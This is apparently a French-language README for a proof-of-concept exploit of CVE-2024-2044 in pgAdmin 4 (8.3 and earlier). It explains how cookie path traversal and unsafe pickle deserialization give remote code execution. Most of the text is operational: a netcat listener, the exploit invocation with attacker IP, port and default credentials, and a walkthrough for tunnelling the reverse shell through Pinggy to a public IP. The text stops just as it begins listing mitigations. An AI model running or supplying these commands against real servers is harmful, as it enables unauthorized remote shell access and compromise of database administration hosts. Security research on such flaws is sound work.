
PoC Python exploitant CVE-2024-2044 dans pgAdmin 4 (<=8.3) via un path traversal authentifié et une désérialisation pickle non sécurisée pour obtenir une exécution de code à distance et un reverse shell.
Ce dépôt contient un script Proof of Concept (PoC) pour CVE-2024-2044, une vulnérabilité critique combinant Path Traversal Authentifié et Désérialisation Non Sécurisée dans pgAdmin 4 (versions 8.3 et antérieures) fonctionnant sous Linux/POSIX.
[!WARNING] AVERTISSEMENT : Ce code est créé uniquement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés (authorized pentesting). L'utilisation abusive de ce code pour attaquer des cibles sans autorisation écrite est illégale et contraire à la loi.
Dans pgAdmin 4 en mode serveur sous Linux, la gestion des sessions est stockée sous forme de fichiers locaux. La vulnérabilité se produit car la fonction FileBackedSessionManager.get() accepte la valeur du cookie HTTP pga4_session et la concatène au chemin du répertoire à l'aide de os.path.join sans assainir les caractères de manipulation de chemin (../).
Ce script PoC exploite cette faille selon le déroulement suivant :
pickle malveillant contenant une commande Reverse Shell. Ce fichier est stocké dans le répertoire de stockage de l'utilisateur (par exemple : /storage/nom_user/)./login en manipulant le cookie pga4_session pour qu'il pointe vers le chemin relatif du fichier pickle téléversé (par exemple : ../storage/nom_user/file.pickle!). Le symbole ! est utilisé pour correspondre à la recherche d'extension de fichier de session dans pgAdmin 4.pickle.loads(). Par conséquent, le payload exécute un processus Python séparé (detached) qui renvoie un Reverse Shell à l'attaquant.requests.nc -lvnp 4444
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
Si votre machine se trouve derrière un NAT/Routeur et nécessite un tunnelling public, vous pouvez utiliser le service Pinggy.io en suivant les étapes ci-dessous :
Démarrez nc sur la machine locale en premier lieu en utilisant le port de votre choix (par exemple : port 1337) :
nc -lvnp 1337
Ouvrez un nouveau terminal, puis exécutez la commande SSH Pinggy. Assurez-vous que le port local à la fin (1337) correspond au port nc que vous avez démarré précédemment :
ssh -p 443 -R0:localhost:1337 [email protected]
Une fois connecté, Pinggy fournira une URL publique TCP, par exemple :
tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143

Remarque : Le port public obtenu depuis Pinggy est 43143 (Ce sera le -lport plus tard).
Le serveur pgAdmin 4 cible nécessite un format d'adresse IP réelle pour la connexion socket reverse shell. Effectuez un nslookup sur le domaine de votre URL Pinggy :
nslookup ubylm-103-79-246-198.run.pinggy-free.link
La sortie affichera l'IP publique du serveur Pinggy (choisissez l'IPv4 dans la section Address la plus haute) :
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link canonical name = lin.ap.12.a.pinggy.click.
Name: lin.ap.12.a.pinggy.click
Address: 172.236.148.125
D'après la sortie ci-dessus, l'IP réelle de Pinggy obtenue est : 172.236.148.125.

Exécutez le script PoC en saisissant l'IP résultant du nslookup comme -lhost et le port public Pinggy comme -lport :
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143


-t, --target : URL cible pgAdmin 4 (Obligatoire).-u, --username: Email/Nom d'utilisateur de connexion (Par défaut : [email protected]).-p, --password: Mot de passe de connexion (Par défaut : player123).-lhost : Adresse IP de l'attaquant / IP résultant du nslookup Pinggy (Obligatoire).-lport : Port listener de l'attaquant / Port public Pinggy (Obligatoire).Cette vulnérabilité a été corrigée dans pgAdmin 4 version 8.4. Si vous gérez un serveur vulnérable, prenez immédiatement les mesures suivantes :